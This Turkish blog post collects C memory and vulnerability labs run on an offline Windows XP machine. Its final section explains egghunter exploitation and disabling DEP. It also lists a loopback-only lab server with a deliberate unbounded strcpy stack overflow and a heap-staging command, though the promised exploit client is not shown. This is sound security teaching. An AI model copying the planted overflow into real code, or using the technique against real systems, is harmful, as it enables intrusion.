cybermachine

Red Team 201 - Bellek Temelleri ve Kontrollü Zafiyet Çalışmaları

Bu yazıda, internete bağlı olmayan ve üzerinde sadece Dev-C++ ile WinDbg kurulu olan bir Windows XP (32-bit) makinede yaptığım C lab çalışmalarını topladım.

Önce bellek temelleriyle başlıyorum, ardından kontrollü zafiyet örnekleri geliyor, en sonda da EXP-301 müfredatındaki egghunter sorusuna karşılık gelen EggHunter2 projesi var. Bütün kodları kendim derleyip çalıştırdım; ekran görüntüleri de kendi makinemden.

Görsellerin bazılarında mataroa'nın ölçekleme problemi olduğu için net göremezseniz görselin üzerine sağ tıklayıp yeni sekmede gösterebilirsiniz.

Yazı eğitim amaçlıdır herhangi bir zarar veren payload veya exploit kullanılmamıştır. Zararsız payload ve zafiyet kavramları üzerinden örnekler yapılmıştır.

1787929178446.jpg

BÖLÜM 1 - Bellek Temelleri

Bu bölümün derdi exploitation değil: C kaynak kodunun RAM'de ve IA-32 üzerinde neye dönüştüğünü çıplak gözle görmek. Sonraki bölümlerin temeli burada atılıyor.

LAB 01 - Değişken, Adres ve Pointer

En temelden başladım: bir değişkenin değeri, adresi ve onu gösteren pointer'ın aynı şeyler olmadığını tek programda gösteriyorum. Çıktıda ptr ile &value aynı adresi gösteriyor ama &ptr bambaşka bir yerde, pointer'ın da kendine ait bir bellek hücresi var. Ayrıca 0x11223344'un bellekte 44 33 22 11 diye dizildiğini görüyoruz; little-endian'in ilk somut kanıtı bu. Pointer sihirli bir referans değil, içinde adres tutan sıradan bir değişken, sahiplik ve sınır güvenliği konuşması tam buradan başlıyor.

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    unsigned int value = 0x11223344;
    unsigned int *ptr = &value;
    unsigned char *byte_ptr = (unsigned char *)&value;
    int i;

    printf("=== LAB 01 - Bellek Pratikleri ===\n\n");
    printf("value         = 0x%08X\n", value);
    printf("&value        = %p\n", (void *)&value);
    printf("ptr           = %p\n", (void *)ptr);
    printf("&ptr          = %p\n", (void *)&ptr);
    printf("*ptr          = 0x%08X\n", *ptr);
    printf("sizeof(value) = %u\n", (unsigned int)sizeof(value));
    printf("sizeof(ptr)   = %u\n\n", (unsigned int)sizeof(ptr));

    for (i = 0; i < (int)sizeof(value); i++) {
        printf("byte_ptr[%d] | address=%p | value=0x%02X\n",
               i, (void *)(byte_ptr + i), (unsigned int)byte_ptr[i]);
    }

    *ptr = 0xAABBCCDD;
    printf("\nvalue = 0x%08X | *ptr = 0x%08X\n", value, *ptr);
    getchar();
    return 0;
}

görsel-01.png

LAB 02 - Dizi ve Pointer Aritmetiği

Burada dizi indekslemesiyle pointer aritmetiğinin aynı kapıya çıktığını gösteriyorum. unsigned int 4 byte olduğu için adresler 4'er 4'er ilerliyor; values[2] ile *(ptr+2) aynı hücreyi okuyor ve ikisi de 0xDEADBEEF oluyor. Sonra diziyi ham byte olarak döküyorum, little-endian dizilim orada da net görünüyor. Aynı effective-address hesabı sınır kontrolü olmazsa array dışına da taşabilir, buffer overflow'un en kaba hali aslında bu.

#include <stdio.h>
#include <stddef.h>

int main(void)
{
    unsigned int values[5] = {
        0x11111111, 0x22222222, 0x33333333,
        0x44444444, 0x55555555
    };
    unsigned int *ptr = values;
    unsigned char *raw = (unsigned char *)values;
    int i;

    printf("=== LAB 02 - Dizi ve Pointer Aritmetigi ===\n\n");
    printf("sizeof(unsigned int) = %u byte\n",
           (unsigned int)sizeof(unsigned int));
    printf("sizeof(values)       = %u byte\n",
           (unsigned int)sizeof(values));
    printf("Dizi taban adresi    = %p\n\n", (void *)values);

    for (i = 0; i < 5; i++) {
        printf("values[%d] | address=%p | value=0x%08X\n",
               i, (void *)&values[i], values[i]);
    }

    printf("\nPointer aritmetigi\n");
    for (i = 0; i < 5; i++) {
        printf("ptr+%d=%p | *(ptr+%d)=0x%08X\n",
               i, (void *)(ptr+i), i, *(ptr+i));
    }

    *(ptr + 2) = 0xDEADBEEF;
    printf("\nvalues[2] = 0x%08X\n", values[2]);

    printf("\nHam byte gorunumu\n");
    for (i = 0; i < (int)sizeof(values); i++) {
        printf("offset=%02d | address=%p | byte=0x%02X\n",
               i, (void *)(raw+i), (unsigned int)raw[i]);
    }
    getchar();
    return 0;
}

görsel-02.png

LAB 03 - BYTE / WORD / DWORD ve Little-Endian

Aynı 32-bit değeri (0x12345678) önce byte byte, sonra 16'şar bitlik parçalar halinde, en son bütün olarak okuyorum. Bellekteki duruşu 78 56 34 12, en düşük anlamlı bayt en başta. char, short ve int* adımlarının 1, 2 ve 4 byte olduğunu da adres farklarından görmek mümkün. İleride exploit yazarken EIP'ye yazacağımız adresleri elle little-endian'a çevirmemiz gerekecek; o işin temeli bu lab.

#include <stdio.h>
#include <string.h>
int main(void)
{
    unsigned int value = 0x12345678U;
    unsigned char *bytes = (unsigned char *)&value;
    unsigned short word0, word1;
    unsigned int dword;
    unsigned char ba[2] = {0x10, 0x20};
    unsigned short wa[2] = {0x1111, 0x2222};
    unsigned int da[2] = {0x11111111, 0x22222222};
    int i;
    printf("\n Lab 03 Byte Word Dword \n\n");
    printf("char=%u short=%u int=%u byte\n\n",
    (unsigned)sizeof(unsigned char),
    (unsigned)sizeof(unsigned short),
    (unsigned)sizeof(unsigned int));
    
    for(i = 0; i<(int)sizeof(value); i++)
            printf("byte[%d] @%p = 0x%02x\n",
            i, (void*)(bytes+i), (unsigned)bytes[i]);
            
    memcpy(&word0, bytes, 2);
    memcpy(&word1, bytes+2, 2);
    memcpy(&dword, bytes, sizeof(dword));
    printf("\nword0=0x%04X word1=0x%04X dword=0x%08X\n",
    (unsigned)word0, (unsigned)word1, dword);
    
    printf("\nchar* : %p -> %p\n", (void *)ba, (void *)(ba+1));
    printf("short* : %p -> %p\n", (void *)wa,(void *)(wa+1));
    printf("int * : %p -> %p\n", (void *)da, (void *)(da+1));
    getchar(); return 0;
}

görsel-03.png

LAB 04 - Buffer Anatomisi ve NUL Terminator

5 harfli "HELLO" string'inin 16 baytlık buffer'da ne kadar yer kapladığına bakıyorum: uzunluk 5, kapasite 16, sonda bir de NUL baytı var; geriye 10 bayt kullanılabilir alan kalıyor. Buffer'ı bayt bayt dökünce terminator'un yeri belli oluyor. Güvenli kopyalama yaparken hedef kapasitesini ve terminator payını birlikte hesaplamak gerekiyor, ilerideki null-byte hikayesinin tohumu burada.

#include <stdio.h>
#include <string.h>

static void dump(const unsigned char *p, unsigned int n){
       
       unsigned int i;
       for(i=0; i<n; i++)
                printf("%02u: 0x%02X\n", i, (unsigned)p[i]);
       
       }


int main(void)
{
  
  char buffer[16] = "HELLO";
  unsigned int capacity = (unsigned int)sizeof(buffer);
  unsigned int length = (unsigned int)strlen(buffer);
  unsigned int remaining = capacity - length -1;
  
  printf(" Lab 04 - Buffer Anatomisi -- \n\n");
  printf("Kapasite=%u uzunluk=%u kalan=%u\n",capacity, length, remaining);
  printf("bufer base=%p end=%p\n\n",
  (void *)buffer, (void *)(buffer + capacity));
  dump((const unsigned char *)buffer, capacity);
  getchar();
  return 0;
}

görsel-04.png

LAB 05 - Struct Padding ve Alignment

Struct içindeki alanlar kaynağa yazıldığı gibi arka arkaya dizilmiyor. offsetof ile type, id ve flags'in gerçek offset'lerini ölçüyorum; sizeof'un alan toplamından büyük çıktığını gösteriyorum; sonra struct'ı ham byte olarak döküp padding baytlarını gözle görünür hale getiriyorum. Binary parser ya da allocator yazarken bu varsayımları açıkça bilmek şart.

#include <stdio.h>
#include <string.h>
#include <stddef.h>

typedef struct Example{
        unsigned char type;
        unsigned int id;
        unsigned short flags;
        }Example;
int main(void)
{
  
  Example x;
  unsigned char *raw;
  unsigned int i;
  
  memset(&x, 0, sizeof(x));
  x.type = 0x11;
  x.id = 0x22334455;
  x.flags = 0x6677;
  raw = (unsigned char *)&x;
  
  printf(" - lab 05 - Struct Padding ve Alignment - \n\n");
  printf("sizeof(Example)=%u\n", (unsigned)sizeof(Example));
  printf("type offset=%u\n", (unsigned)offsetof(Example,type));
  printf("id offset=%u\n", (unsigned)offsetof(Example,id));
  printf("flags offset =%u\n\n", (unsigned)offsetof(Example,flags));
  
                for(i=0;i<(unsigned)sizeof(x);i++)
                printf("+%02u @ %p = %02x\n", i, (void *)(raw+i), (unsigned)raw[i]);

  getchar();   
  return 0;
}

görsel-05.png

LAB 06 - Static / Stack / Heap Ayrımı

Üç farklı storage bölgesini tek programda yan yana koyuyorum: global/static değişken, stack'teki local ve malloc'la alınan heap nesnesi. Adreslerine bakınca üçünün de bambaşka bölgelerde durduğu görülüyor. free'den sonra o heap nesnesinin artık bize ait olmadığını unutmamak lazım ileride EggHunter2'de payload'ı heap'e park ederken tam da bu bölgeyi kullanacağız.

#include <stdio.h>
#include <stdlib.h>

static int g_static_value = 111;

int main(void)
{
  int stack_value = 222;
  int *heap_value = (int *)malloc(sizeof(int));
  
  if(heap_value == NULL) return 1;
  *heap_value = 333;
  
  printf(" - Lab 06 - Storage Regions - \n\n");
  printf("static/global : %p -> %d\n", (void *)&g_static_value, g_static_value);
  printf("stack local   : %p -> %d\n", (void *)&stack_value, stack_value);
  printf("heap object   : %p -> %d\n", (void *)heap_value, *heap_value);
  
  free(heap_value);
  heap_value = NULL;
  
  
  getchar();
  return 0;
}

görsel-06.png

LAB 07 - Function Call Chain ve Stack Büyümesi

main -> level1 -> level2 -> level3 diye inen bir çağrı zinciri kurdum ve her seviyedeki local/argüman adreslerini bastım. IA-32'de stack aşağı doğru büyüdüğü için her yeni çağrıda adresler düşüyor. Derin recursion ya da uzun çağrı zincirleri tasarlarken stack'in de bir bütçesi olduğunu akılda tutmak gerekiyor.

#include <stdio.h>

static void level3(int x)
{
    int local3 = x + 3;
    printf("level3: &x=%p &local3=%p\n", (void *)&x, (void *)&local3);
}
 static void level2(int x){
              int local2 =x + 2;
              printf("level2: &x=%p &local2=%p\n", (void *)&x, (void *)&local2);
              level3(local2);
              }
              static void level1(void) {
                     int local1 = 1;
                     printf("level1: &local1=%p\n", (void *)&local1);
                     level2(local1);
                     }
int main(void)
{
  int m = 0;
  printf(" - lab 07 - Function Call Chain - \n\n");
  printf("main: &m=%p\n", (void *)&m);
  level1();
  getchar();
  return 0;
}

görsel-07.png

LAB 08 - ESP / EBP / EFLAGS Gözlemi

GCC'nin inline assembly'siyle ESP, EBP ve EFLAGS'i okuyorum, yazma yok, sadece gözlem. main ile probe arasındaki farklar stack frame'lerinin nasıl kurulup yıkıldığını gösteriyor. Bu register'lar boşuna önemli değil: ileride crash anında EIP/ESP/EBP'ye bakıp offset hesaplayacağız. Küçük bir not: read_ebp fonksiyonunda return eksik; GCC'de bu tanımlanmamış davranış ama değer eax üzerinden döndüğü için pratikte çalışıyor. -Wall ile derleyince uyarı veriyor, meraklısına inceleme ödevi.

#include <stdio.h>

static unsigned long read_esp(void){
      
      unsigned long v;
      __asm__ __volatile__("movl %%esp, %0": "=r"(v));
      return v;
      }
       static unsigned long read_ebp(void){
              unsigned long v;
             __asm__ __volatile__("movl %%ebp, %0" : "=r"(v));
             }
             static unsigned long read_eflags(void) {
    unsigned long v;
    __asm__ __volatile__("pushfl\n\tpopl %0" : "=r"(v));
    return v;
}
              static void probe(void)
{
    int local = 123;
    printf("probe ESP=%08lX EBP=%08lX EFLAGS=%08lX local=%p\n",
           read_esp(), read_ebp(), read_eflags(), (void *)&local);
}
             
int main(void)
{
    printf(" -  LAB 08 - ESP EBP EFLAGS - \n\n");
    printf("main  ESP=%08lX EBP=%08lX EFLAGS=%08lX\n",
           read_esp(), read_ebp(), read_eflags());
    probe();
    getchar();
    return 0;
}

görsel-08.png

LAB 09 - General Register ve C-Assembly Köprüsü

EAX, EBX, ECX ve EDX'e inline assembly ile sabitler yükleyip sonra onları C değişkenlerine geri okuyorum. Basit görünüyor ama C ile assembly arasındaki köprünün en yalın hali bu. Dikkat: clobber listesini yanlış yazarsan optimizer'in değerleri bozması işten bile değil.

#include <stdio.h>


int main(void)
{
    unsigned long a, b, c, d;
  __asm__ __volatile__(
        "movl $0x11111111, %%eax\n\t"
        "movl $0x22222222, %%ebx\n\t"
        "movl $0x33333333, %%ecx\n\t"
        "movl $0x44444444, %%edx\n\t"
        "movl %%eax, %0\n\t"
        "movl %%ebx, %1\n\t"
        "movl %%ecx, %2\n\t"
        "movl %%edx, %3\n\t"
        : "=m"(a), "=m"(b), "=m"(c), "=m"(d)
        :
        : "eax", "ebx", "ecx", "edx", "memory"
    );
    
    printf(" \n - lab 09 - General Register ve C -> Assembly Koprusu \n ");
    printf("\n EAX=%08lX EBX=%08lX ECX=%08lX EDX=%08lX \n", a,b,c,d);
  
  getchar();   
  return 0;
}

görsel-09.png

BÖLÜM 2 - Kontrollü Zafiyet Laboratuvarı

Temeller tamamsa sıra hata modellerinde. Bu bölümdeki örnekler sistemi bozmuyor; her biri tek bir güvenlik hatasının kök nedenini küçük, kontrollü bir programla gösteriyor.

LAB 10 - Mantıksal Buffer Overflow Modeli

Tek bir struct'ın içinde küçük bir taşma modeli kurdum: 8 baytlık buffer'ın arkasında marker diye bir alan var ve sınırları aşan yazmanın marker'ı nasıl değiştirdiğini gösteriyorum. Başta 0xDEADBEEF, sonda 0x11223344. "Belleğe erişebiliyorum" demek "bu erişim doğru" demek değil; mantıksal nesne sınırları ayrı bir güvenlik katmanı.

#include <stdio.h>
#include <string.h>

         typedef struct FrameModel {
                 unsigned char buffer[8];
                           unsigned int marker;
                                    } FrameModel;

static void logical_overflow_model(FrameModel *f,
                                   const unsigned char *src,
                                   unsigned int len)
{
    unsigned char *whole = (unsigned char *)f;
    unsigned int i;

    if (len > (unsigned)sizeof(*f)) len = (unsigned)sizeof(*f);
    for (i=0; i<len; i++) whole[i] = src[i];
}

int main(void)
{
    FrameModel f;
    unsigned char data[12] = {
        'A','A','A','A','A','A','A','A', 0x44,0x33,0x22,0x11
    };

    memset(&f, 0, sizeof(f));
    f.marker = 0xDEADBEEF;
    printf("before marker=0x%08X\n", f.marker);
    logical_overflow_model(&f, data, sizeof(data));
    printf("after  marker=0x%08X\n", f.marker);
    getchar();
    return 0;}

görsel-10.png

LAB 11 - Recursion ve Stack Tüketimi

Her recursive çağrının stack'te yer yediğini ölçüyorum: her 16 seviyede bir derinliği ve ilk frame'le aradaki mesafeyi basıyorum. Demo kasten 128 seviyede duruyor, amaç stack'i patlatmak değil, tükenişini görmek. Parser yazarken input'un kontrol ettiği recursion derinliğini sınırlamak ya da iterative'e dönmek gerekiyor.

#include <stdio.h>

static unsigned long first_addr = 0;

static void recurse(unsigned int depth, unsigned int limit)
{
    volatile unsigned char frame[256];
    unsigned long here = (unsigned long)&frame[0];
    frame[0] = (unsigned char)depth;

    if (depth == 0) first_addr = here;
    if ((depth % 16) == 0)
        printf("depth=%u stack_addr=%08lX delta=%lu\n",
               depth, here,
               first_addr > here ? first_addr-here : here-first_addr);

    if (depth < limit) recurse(depth + 1, limit);
}

int main(void)
{
    unsigned int safe_demo_depth = 128;
    printf("- LAB 11 - Recursion / Stack Tuketimi -\n\n");
    recurse(0, safe_demo_depth);
    printf("\n Demo Toy Kasitli Olarak %u Seviyesinde Durdu   \n", safe_demo_depth);
    getchar();
    return 0;
}

görsel-11.png

LAB 12 - Kontrollü Heap Pressure

Heap'i kontrollü şekilde zorluyorum: 256 KB'lik bloklardan en fazla 64 tane (yaklaşık 16 MB), sonra hepsini geri bırakıyorum. Amaç sistemi kilitlemek değil; kota, fail-safe davranış ve temizlik yolunun nasıl tasarlanması gerektiğini göstermek.

#include <stdio.h>
#include <stdlib.h>

#define BLOCK_SIZE (256UL * 1024UL)
#define MAX_BLOCKS 64

int main(void)
{
    void *blocks[MAX_BLOCKS];
    unsigned int count = 0, i;

    printf("- LAB 12 - Kontrollu Heap Pressure -\n\n");
    while (count < MAX_BLOCKS) {
          blocks[count] = malloc(BLOCK_SIZE);
                        if (blocks[count] == NULL) break;
                           count++;
    }

    printf("Tahsis edilen bloklar=%u, yaklasik=%lu KB\n",
           count, (unsigned long)count * (BLOCK_SIZE/1024UL));

    for (i=0; i<count; i++) free(blocks[i]);
    printf("Tum Bloklar Serbest Birakildi.\n");
    getchar();
    return 0;
}

görsel-12.png

LAB 13 - Dangling Pointer / UAF Alias Mantığı

Klasik dangling pointer: owner'ı free edip NULL'luyorum ama alias hâlâ eski adresi tutuyor. Dereference etmiyorum, sadece adresin orada sallandığını gösteriyorum. ptr=NULL tek başına UAF koruması değil; başka bir alias varsa o adres hâlâ geziyor demektir.

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    int *owner = (int *)malloc(sizeof(int));
    int *alias;
    if (owner == NULL) return 1;

    *owner = 1234;
    alias = owner;
    printf("Sahip=%p alias pointer=%p Deger=%d\n",
           (void *)owner, (void *)alias, *owner);

    free(owner);
    owner = NULL;

    printf("Serbest birakildiktan sonra sahiplik=%p alias pointer=%p\n",
           (void *)owner, (void *)alias);
    printf("Pointer sarkiyor \n");
    alias = NULL;
    getchar();
    return 0;
}

görsel-13.png

LAB 13B - Güvenli Model: Generation'li Handle

Aynı problemin güvenli modeli: ham pointer yerine generation'li handle. Slot free edilince generation artıyor ve eski handle ile yapılan resolve çağrısı deterministik olarak reddediliyor. Çıktıda "reddedildi (doğru)" görmek beklenen davranış. Koruma NULL'lamayla değil, state metadata'siyla oluyor.

#include <stdio.h>
#include <stdint.h>
/* UAF icin GUVENLI model: ham pointer yerine generation'li handle.
   Free edilen nesneye eski handle ile erisim deterministik reddedilir. */
typedef struct { uint32_t gen; int in_use; char data[32]; } Slot;
#define MAXS 4
static Slot pool[MAXS];
typedef struct { uint32_t idx, gen; } Handle;

static Handle alloc_slot(void){
    for(uint32_t i=0;i<MAXS;i++) 
                 if(!pool[i].in_use){
        pool[i].in_use=1; pool[i].gen++;
        Handle h={i,pool[i].gen}; return h; }
    Handle bad={UINT32_MAX,0}; return bad;
}
static char* resolve(Handle h){
         if(h.idx>=MAXS) return NULL;
                          if(!pool[h.idx].in_use || pool[h.idx].gen!=h.gen) return NULL; /* stale! */
                                                 return pool[h.idx].data;
}
static void free_slot(Handle h){ if(resolve(h)) pool[h.idx].in_use=0; }

int main(void){
    Handle a=alloc_slot();
           snprintf(resolve(a),32,"oturum-7");
                                              free_slot(a);
                                                            Handle b=alloc_slot();   /* ayni slot yeniden kullanilir */
           printf("eski handle: %s\n", resolve(a)?"ERISIM ACIK (BUG)":"reddedildi (dogru)");
    printf("yeni handle: %s\n", resolve(b)?"ok":"hata");
    getchar();
    return 0;
}

gorsel-14.png

LAB 14 - Double-Free State Tracker

Double-free'e karşı basit bir state tracker: ilk free 1 dönüyor, ikincisi 0, yani tespit edilip çalıştırılmadı. Savunmayı pointer'ı NULL'lamakla sınırlı tutmamak lazım; ownership bilgisini ayrıca tutmak gerekiyor.

#include <stdio.h>
#include <stdlib.h>

typedef struct OwnedInt {
    int *ptr;
    int allocated;
    } OwnedInt;
static int owned_alloc(OwnedInt *o)
{      if (o->allocated) return 0;
          o->ptr = (int *)malloc(sizeof(int));
                   if (o->ptr == NULL) return 0;
                       o->allocated = 1;
                                     return 1;}
static int owned_free(OwnedInt *o)
{      if (!o->allocated || o->ptr == NULL) return 0;
       free(o->ptr);
       o->ptr = NULL;
         o->allocated = 0;
          return 1;
}
int main(void)
{   OwnedInt o = {0,0};
    owned_alloc(&o);
    printf("ilk serbest  = %d\n", owned_free(&o));
    printf("ikinci serbest = %d (tespit edildi, calistirilmadi)\n", owned_free(&o));
    getchar();
    return 0;
}

görsel-15.png

LAB 15 - Integer Overflow ve Size Hesabı

count x item_size çarpımının 32 bit'te wrap edebileceğini gösteriyorum, allocation yapmadan, sadece hesap üzerinden. safe_mul_size çarpımdan önce kontrol edip overflow'u yakalıyor. Allocation'dan önce boyut hesabı her zaman overflow-safe yapılmalı.

#include <stdio.h>
#include <stddef.h>

static int safe_mul_size(size_t a, size_t b, size_t *out)
{
    size_t maxv = (size_t)-1;
           if (b != 0 && a > maxv / b) return 0;
              *out = a * b;
                   return 1;
}

int main(void)
{
    size_t count = (size_t)0x40000001UL;
    size_t item_size = 4;
    size_t naive = count * item_size;
    size_t checked = 0;

    printf(" - LAB 15 - Integer Overflow ve Boyut Hesabi -\n\n");
    printf("saf sonuc = %lu\n", (unsigned long)naive);
    if (!safe_mul_size(count, item_size, &checked))
                              printf("Overflow Tespit Edildi\n");
                               else
                                 printf("Guvenli Sonuc = %lu\n", (unsigned long)checked);
                                  getchar();
    return 0;
}

görsel-16.png

LAB 16 - Branching / Timing Farkı

İki karşılaştırma fonksiyonunu yan yana koşuyorum: biri ilk farklı baytta çıkıyor (early-exit), diğeri hepsini tarıyor (full-scan). clock() çözünürlüğü kaba ama fark görülebiliyor. Önemli not: kaynakta branchless yazmak tek başına sabit-zaman garantisi değil; derleyicinin ürettiği makine koduna ayrıca bakmak şart.

#include <stdio.h>
#include <string.h>
#include <time.h>

static int early_equal(const unsigned char *a, const unsigned char *b, unsigned int n)
{   unsigned int i;
    for (i=0; i<n; i++) if (a[i] != b[i]) return 0;
    return 1;}
static int ct_equal_model(const unsigned char *a, const unsigned char *b, unsigned int n)
{   unsigned int i;
    unsigned char diff = 0;
    for (i=0; i<n; i++) diff |= (unsigned char)(a[i] ^ b[i]);
    return diff == 0;
}
int main(void)
{ unsigned char a[32], b[32];
    unsigned long i;
    clock_t t1, t2;
    memset(a, 'A', sizeof(a));
    memset(b, 'A', sizeof(b));
    b[0] = 'B';
    t1 = clock();
    for (i=0; i<200000UL; i++) early_equal(a,b,sizeof(a));
    t2 = clock();
    printf("Erken cikis zamanlamasi: : =%ld\n", (long)(t2-t1));
    t1 = clock();
    for (i=0; i<200000UL; i++) ct_equal_model(a,b,sizeof(a));
    t2 = clock();
    printf("Tam tarama zamanlamasi: =%ld\n", (long)(t2-t1));
    printf("Not: C kodu tek basina sabit zaman makine kodunu garanti etmez.\n");
    getchar();
    return 0;
}

görsel-17.png

BÖLÜM 3 - Egghunter: EXP-301 Karşılığı (EggHunter2)

Şimdiye kadarki her şey, endianness, buffer anatomisi, stack/heap ayrımı, register gözlemi, overflow mantığı, bu bölümde birleşiyor. EggHunter2, EXP-301'deki egghunter sorusunun benim labımda çalışan karşılığı.

3.1 Egghunter Konsepti

Bazı stack overflow'larda EIP'yi ele geçirdikten sonra stack'te büyük bir payload için yer kalmıyor. Çözüm iki aşamalı:

  • Stage-2 (büyük payload): başka bir komutla önceden heap'e gönderilir. Başına 8 baytlık çift marker konur: w00tw00t. Buna egg denir.

  • Stage-1 (egghunter): overflow ile stack'e sığabilen ~32 baytlık küçük kod. Görevi tüm belleği tarayıp egg'i bulmak ve payload'a atlamak.

İşin kritik noktası sayfa erişimi: tarama sırasında erişilemeyen sayfalar var ve klasik XP egghunter'i bunları NtAccessCheckAndAuditAlarm çağrısıyla (int 0x2e) exception üretmeden atlıyor, geçersiz sayfada dönüş değeri 0xC0000005 oluyor, al=0x05 görünce sayfa atlanıyor. Egg üst uste iki kez aranıyor (scasd x 2) ki egghunter'in kendi içindeki "w00t" baytlarıyla karışmasın; sonra jmp edi ile payload'a geçiliyor.

3.2 Güvenli Başlangıç: Yerel Marker Tarama

Gerçek zincire geçmeden önce fikri kendi process'imde, tek sayfalık güvenli bir alanda denedim: VirtualAlloc ile 4096 bayt alıyorum, egg'i ve ardındaki veriyi içine koyuyorum, sonra bayt bayt tarayıp buluyorum. Bu sayfa erişilebilir olduğu için access-violation atlama burada devreye girmiyor; o dert gerçek zincirde karşıma çıkacak.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    unsigned char *page;
    unsigned char *ptr;
    const unsigned char egg[8] = {'W','0','0','T','W','0','0','T'};

    page = (unsigned char *)VirtualAlloc(
        NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (page == NULL) return 1;

    memcpy(page + 3012, egg, sizeof(egg));
    memcpy(page + 3020, "LAB_PAYLOAD_DATA", 17);

    for (ptr = page; ptr + sizeof(egg) <= page + 4096; ptr++) {
        if (memcmp(ptr, egg, sizeof(egg)) == 0) {
            printf("Isaretci Bulundu %p\n", (void *)ptr);
            printf("Takip Edilen Data: %s\n", (char *)(ptr + sizeof(egg)));
            break;
        }
    }

    VirtualFree(page, 0, MEM_RELEASE);
    getchar();
    return 0;
}

görsel-18.png

Güvenli marker taramasının kendi XP makinemdeki çıktısı

3.3 Windows XP için WinDbg Nereden İndirilir?

Modern WinDbg XP'de çalışmıyor, o yüzden XP'de çalışan son sürümü bulmam gerekti: Windows SDK 7.1 içindeki Debugging Tools for Windows 6.12.0002.633. Microsoft'un resmi kaynakları:

  • İndirme sayfası: microsoft.com/en-us/download/details.aspx?id=8442, desteklenen sistemler listesinde Windows XP SP3 ve x86 açıkça yazıyor.

  • x86 ISO (doğrudan Microsoft sunucusu): download.microsoft.com/download/F/1/0/F10113F5-B750-4969-A255-274341AC6BCE/GRMSDK_EN_DVD.iso

  • Bütünlük doğrulaması (resmi sayfadaki hash): SHA1 = CDE254E83677C34C8FD509D6B733C32002FE3572, kontrol için: certutil -hashfile GRMSDK_EN_DVD.iso SHA1

image.png

Tüm SDK'yi kurmak da gerekmiyor: ISO'yu 7-Zip ile açıp içinden sadece şu dosyayı çıkardım:

Setup\WinSDKDebuggingTools\dbg_x86.msi   (~17 MB, tek basina kurulur, .NET istemez)

image.png

Makinenin ağ adaptörü kapalı olduğu için MSI'i USB ile taşıdım. Kurulumdan sonra windbg.exe C:\Program Files\Debugging Tools for Windows (x86) altında duruyor. Symbol sunucusu internet istediği için çevrimdışı makinede symbol hatası görmen normal; bu labdaki komutların (r, lm, s, u, db, dd, bp, !address) hiçbiri symbole ihtiyaç duymuyor.

3.4 DEP'i Kapatma (boot.ini)

Heap'teki stub'in çalışabilmesi için DEP'in kapalı olması gerekiyor: boot.ini'deki işletim sistemi satırına /noexecute=AlwaysOff ekleyip makineyi yeniden başlattım. XP'de ASLR da olmadığı için modül ve heap adresleri çalıştırmalar arasında sabit kalıyor, bu da labı deterministik yapıyor.

bootini.PNG

boot.ini içinde /noexecute=AlwaysOff düzenlemesi

3.5 EggHunter2 Projesi: Çalışan Gerçek Zincir

Hazır vulnerable hedef kullanmak yerine Vulnserver'in TRUN/KSTET davranışını taklit eden kendi mini sunucumu yazdım, hem daha güvenli (sadece loopback dinliyor) hem de her satırını biliyorum. Proje yapısı (Dev-C++):

  • Exploit/exploit.c, çalışan exploit client kaynağı (aşağıda tamamı var)

  • labserver.c, proof() fonksiyonlu lab sunucusu kaynağı

  • Exploit.C.dev, Dev-C++ proje dosyası: Linker=-lws2_32, Type=1 (console), IsCpp=0 (C projesi)

  • Exploit.C, dikkat: bu dosya kaynak değil, derlenmiş EXE'dir (OverrideOutputName=Exploit.C). İçindeki string'ler ("=== LAB 51B exploit client ===", "w00tw00t", bad-char mesajları) son sürümün derlendiğinin kanıtı.

  • EggHunters2.bmp, başarı ekranı (MessageBox)

Sunucu tarafında TRUN komutu 2000 baytlık stack buffer'a sınırsız strcpy yapıyor (zafiyet kasten orada), KSTET komutu payload'ı heap'e stage ediyor, proof() ise zararsız kanıt payload'ı: bir MessageBox. Sunucu yalnızca 127.0.0.1'de dinliyor:

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

__attribute__((noinline)) static void proof(void)
{
    MessageBoxA(NULL, "PWNED - egghunter calisti", "LAB", MB_OK);
    ExitProcess(0);
}

/* VULNERABLE: 2000 baytlik stack buffer'a sinirsiz kopya */
static void handle_trun(char *input)
{
    char buf[2000];
    strcpy(buf, input);   /* bounds check YOK - tasma burada */
}

/* Payload'i heap'e stage eder (guvenli kopya, bilerek free edilmez) */
static void handle_kstet(char *input)
{
    char *heapbuf = (char *)malloc(1024);
    if (!heapbuf) return;
    strncpy(heapbuf, input, 1023);
    heapbuf[1023] = 0;
    printf("[*] KSTET staged at %p (heap)\n", (void *)heapbuf);
}

static int read_line(SOCKET s, char *buf, int max)
{
    int i = 0;
    char c;
    while (i < max - 1) {
        int r = recv(s, &c, 1, 0);
        if (r <= 0) break;
        if (c == '\n') break;
        if (c != '\r') buf[i++] = c;
    }
    buf[i] = 0;
    return i;
}

int main(void)
{
    WSADATA wsa;
    SOCKET srv, cli;
    struct sockaddr_in sa;
    char line[4096];

    WSAStartup(MAKEWORD(2, 2), &wsa);
    srv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (srv == INVALID_SOCKET) return 1;

    sa.sin_family = AF_INET;
    sa.sin_port = htons(9999);
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);   /* sadece 127.0.0.1 */
    if (bind(srv, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) return 1;
    listen(srv, 1);
    printf("Proof fonksiyonu adresi: %p\n", (void*)proof);

    printf("=== LAB egghunter sunucusu ===\n");
    printf("Dinliyor: 127.0.0.1:9999 (loopback only)\n");
    printf("Komutlar: TRUN (stack overflow), KSTET (heap staging), HELP\n");

    for (;;) {
        cli = accept(srv, NULL, NULL);
        if (cli == INVALID_SOCKET) continue;

        while (read_line(cli, line, sizeof(line)) > 0) {
            if (strncmp(line, "TRUN ", 5) == 0)
                handle_trun(line + 5);      /* VULNERABLE */
            else if (strncmp(line, "KSTET ", 6) == 0)
                handle_kstet(line + 6);     /* heap staging */
            else if (strncmp(line, "HELP", 4) == 0)
                send(cli, "TRUN KSTET HELP\n", 16, 0);
        }
        closesocket(cli);
    }
    return 0;
}

Derleme: gcc labserver.c -o lab_server.exe -lws2_32 -luser32, proof içindeki MessageBoxA yüzünden -luser32 şart.

